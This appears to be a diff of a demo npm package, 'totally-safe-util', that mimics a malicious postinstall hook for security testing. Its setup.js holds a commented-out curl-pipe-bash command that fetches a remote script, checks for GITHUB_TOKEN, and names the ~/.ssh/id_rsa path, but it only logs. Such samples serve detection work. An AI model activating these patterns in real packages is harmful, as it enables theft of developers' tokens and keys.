totally-safe-util 1.0.0

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "totally-safe-util",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node setup.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "description": ""
+}

package/readme.md

@@ -0,0 +1,5 @@
+# totally-safe-util
+
+⚠️ This package is for security testing and demos only.
+
+It simulates malicious patterns but does NOT perform any harmful actions.

package/setup.js

@@ -0,0 +1,19 @@
+const cp = require("child_process");
+const fs = require("fs");
+const os = require("os");
+
+// ⚠️ Simulated attack (SAFE — no real execution)
+console.log("Simulating remote payload execution...");
+// cp.exec('curl http://example.com/payload.sh | bash'); // commented
+
+// ⚠️ Simulated env access
+const token = process.env.GITHUB_TOKEN;
+console.log("Simulated token read:", token ? "[FOUND]" : "[NOT FOUND]");
+
+// ⚠️ Simulated SSH access
+const sshPath = os.homedir() + "/.ssh/id_rsa";
+console.log("Would read:", sshPath);
+
+// ⚠️ Fake encoded payload
+const payload = "aGVsbG8gd29ybGQ=";
+console.log("Encoded payload:", payload);